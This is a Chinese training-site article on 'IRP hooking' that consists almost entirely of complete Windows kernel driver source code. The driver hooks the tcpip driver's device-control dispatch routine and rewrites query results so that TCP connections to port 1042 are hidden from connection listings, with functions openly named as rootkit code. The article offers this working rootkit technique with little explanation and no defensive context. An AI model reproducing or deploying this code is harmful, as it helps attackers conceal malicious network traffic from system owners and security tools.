C/C++知识点之IRPhook
小标 2019-03-01 来源 : 阅读 981 评论 0

摘要:本文主要向大家介绍了 C/C++知识点之IRPhook,通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。

本文主要向大家介绍了 C/C++知识点之IRPhook,通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。

C/C++知识点之IRPhook

原理:
直接IoGetDeviceObjectPointer根据名称获取驱动对象,然后更改分发函数数组元素即可HOOK指定IRP分发函数。
//irphook.h


/////////////////////////////////////////////////////////////////////////////////////// 

typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef BYTE * LPBYTE;

#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
//#define MAKEPORT(a, b)   ((WORD)(((UCHAR)(a))|((WORD)((UCHAR)(b))) << 8))
#define HTONS(a)  (((0xFF&a)<<8) + ((0xFF00&a)>>8))

typedef struct _CONNINFO101 {
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
} CONNINFO101, *PCONNINFO101;

typedef struct _CONNINFO102 {
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
   unsigned long pid;
} CONNINFO102, *PCONNINFO102;

typedef struct _CONNINFO110 {
   unsigned long size;
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
   unsigned long pid;
   PVOID    unk3[35];
} CONNINFO110, *PCONNINFO110;

typedef struct _REQINFO {
    PIO_COMPLETION_ROUTINE OldCompletion;
    unsigned long          ReqType;
} REQINFO, *PREQINFO;

PFILE_OBJECT pFile_tcp;
PDEVICE_OBJECT pDev_tcp;
PDRIVER_OBJECT pDrv_tcpip;

typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);
OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;

NTSTATUS RootkitUnload(IN PDRIVER_OBJECT);
NTSTATUS InstallTCPDriverHook();
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT, IN PIRP);

NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT, IN PIRP, IN PVOID);


//irphook.cpp


#include <ntddk.h>
#include <tdiinfo.h>

#include "irphook.h"

NTSTATUS DriverEntry(
                   IN PDRIVER_OBJECT  DriverObject,
                   IN PUNICODE_STRING RegistryPath
                    )
{

    NTSTATUS                ntStatus;

    OldIrpMjDeviceControl = NULL;

    DriverObject->DriverUnload = RootkitUnload;

    ntStatus = InstallTCPDriverHook();
    if(!NT_SUCCESS(ntStatus)) 
        return ntStatus;

    return STATUS_SUCCESS;
}

NTSTATUS InstallTCPDriverHook()
{
    NTSTATUS       ntStatus;
//  UNICODE_STRING deviceNameUnicodeString;
//  UNICODE_STRING deviceLinkUnicodeString;        
    UNICODE_STRING deviceTCPUnicodeString;
    //想hook的对象
    WCHAR deviceTCPNameBuffer[]  = L"\\Device\\Tcp";
    pFile_tcp  = NULL;
    pDev_tcp   = NULL;
    pDrv_tcpip = NULL;

    RtlInitUnicodeString (&deviceTCPUnicodeString, deviceTCPNameBuffer);
    //通过名字获取设备对象的指针
    //设备名字  权限  文件对象  设备对象
    ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString, FILE_READ_DATA, &pFile_tcp, &pDev_tcp);
    if(!NT_SUCCESS(ntStatus)) 
        return ntStatus;
    //驱动对象
    pDrv_tcpip = pDev_tcp->DriverObject;
    //分发处理例程  保存原始函数用于处理后下发
    OldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL]; 
    if (OldIrpMjDeviceControl)
        InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)HookedDeviceControl);

    return STATUS_SUCCESS;
}

//hook
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
    PIO_STACK_LOCATION      irpStack;
    ULONG                   ioTransferType;
    TDIObjectID             *inputBuffer;
    DWORD                   context;

    //DbgPrint("The current IRP is at %x\n", Irp);

    irpStack = IoGetCurrentIrpStackLocation (Irp);

    switch (irpStack->MajorFunction) 
    {
        case IRP_MJ_DEVICE_CONTROL:
            if ((irpStack->MinorFunction == 0) && \
                (irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_QUERY_INFORMATION_EX))
            {
                ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode;
                ioTransferType &= 3;
                if (ioTransferType == METHOD_NEITHER) // Need to know the method to find input buffer
                {
                    inputBuffer = (TDIObjectID *) irpStack->Parameters.DeviceIoControl.Type3InputBuffer;

                    // CO_TL_ENTITY is for TCP and CL_TL_ENTITY is for UDP
                    if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY)
                    { 
                        // DbgPrint("Input buffer %x\n",inputBuffer);
                        if ((inputBuffer->toi_id == 0x101) || (inputBuffer->toi_id == 0x102) || (inputBuffer->toi_id == 0x110))
                        {
                            // Call our completion routine if IRP successful
                            irpStack->Control = 0;
                            irpStack->Control |= SL_INVOKE_ON_SUCCESS; 

                            // Save old completion routine if present
                            irpStack->Context = (PIO_COMPLETION_ROUTINE) ExAllocatePoolWithTag(NonPagedPool, sizeof(REQINFO), 'PRI');

                            ((PREQINFO)irpStack->Context)->OldCompletion = irpStack->CompletionRoutine; 
                            ((PREQINFO)irpStack->Context)->ReqType       = inputBuffer->toi_id;

                            // Setup our function to be called on completion of IRP
                            irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)IoCompletionRoutine;
                        }
                    }
                }
            }
        break;

        default:
        break;
    }

    return OldIrpMjDeviceControl(DeviceObject, Irp);
}

NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject, 
                             IN PIRP Irp, 
                             IN PVOID Context)
{
    PVOID OutputBuffer;
    DWORD NumOutputBuffers;
    PIO_COMPLETION_ROUTINE p_compRoutine;
    DWORD i;

    // Connection status values:
    // 0 = Invisible
    // 1 = CLOSED
    // 2 = LISTENING
    // 3 = SYN_SENT
    // 4 = SYN_RECEIVED
    // 5 = ESTABLISHED
    // 6 = FIN_WAIT_1
    // 7 = FIN_WAIT_2
    // 8 = CLOSE_WAIT
    // 9 = CLOSING
    // ...

    OutputBuffer = Irp->UserBuffer;
    p_compRoutine = ((PREQINFO)Context)->OldCompletion;

    if (((PREQINFO)Context)->ReqType == 0x101)
    {
        NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO101);
        for(i = 0; i < NumOutputBuffers; i++)
        {
            // Hide all Web connections
            if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 1042)
                ((PCONNINFO101)OutputBuffer)[i].status = 0;
        }
    }
    else if (((PREQINFO)Context)->ReqType == 0x102)
    {
        NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO102);
        for(i = 0; i < NumOutputBuffers; i++)
        {
            // Hide all Web connections
            if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 1042)
                ((PCONNINFO102)OutputBuffer)[i].status = 0;
        }
    }
    else if (((PREQINFO)Context)->ReqType == 0x110)
    {
        NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO110);
        for(i = 0; i < NumOutputBuffers; i++)
        {
            // Hide all Web connections
            if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 1042)
                ((PCONNINFO110)OutputBuffer)[i].status = 0;
        }
    }

    ExFreePool(Context);

    /*
    for(i = 0; i < NumOutputBuffers; i++)
    {
        DbgPrint("Status: %d",OutputBuffer[i].status);
        DbgPrint(" %d.%d.%d.%d:%d",OutputBuffer[i].src_addr & 0xff,OutputBuffer[i].src_addr >> 8 & 0xff, OutputBuffer[i].src_addr >> 16 & 0xff,OutputBuffer[i].src_addr >> 24,HTONS(OutputBuffer[i].src_port));
        DbgPrint(" %d.%d.%d.%d:%d\n",OutputBuffer[i].dst_addr & 0xff,OutputBuffer[i].dst_addr >> 8 & 0xff, OutputBuffer[i].dst_addr >> 16 & 0xff,OutputBuffer[i].dst_addr >> 24,HTONS(OutputBuffer[i].dst_port));
    }*/

    if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))
    {
        return (p_compRoutine)(DeviceObject, Irp, NULL);
    }
    else
    {
        return Irp->IoStatus.Status;
    }
}

NTSTATUS RootkitUnload(IN PDRIVER_OBJECT DriverObject)
{
    if (OldIrpMjDeviceControl)
        InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)OldIrpMjDeviceControl);    
    if (pFile_tcp != NULL)
        ObDereferenceObject(pFile_tcp);
    pFile_tcp = NULL;

    return STATUS_SUCCESS;
}

   

本文由职坐标整理并发布,希望对同学们有所帮助。了解更多详情请关注职坐标编程语言C/C+频道!

本文由 @小标 发布于职坐标。未经许可,禁止转载。
喜欢 | 1 不喜欢 | 0
看完这篇文章有何感觉?已经有1人表态,100%的人喜欢 快给朋友分享吧~
评论(0)
后参与评论

您输入的评论内容中包含违禁敏感词

我知道了

助您圆梦职场 匹配合适岗位
验证码手机号,获得海同独家IT培训资料
选择就业方向:
人工智能物联网
大数据开发/分析
人工智能Python
Java全栈开发
WEB前端+H5

请输入正确的手机号码

请输入正确的验证码

获取验证码

您今天的短信下发次数太多了,明天再试试吧!

提交

我们会在第一时间安排职业规划师联系您!

您也可以联系我们的职业规划师咨询:

小职老师的微信号:z_zhizuobiao
小职老师的微信号:z_zhizuobiao

版权所有 职坐标-一站式IT培训就业服务领导者 沪ICP备13042190号-4
上海海同信息科技有限公司 Copyright ©2015 www.zhizuobiao.com,All Rights Reserved.
 沪公网安备 31011502005948号    

©2015 www.zhizuobiao.com All Rights Reserved

208小时内训课程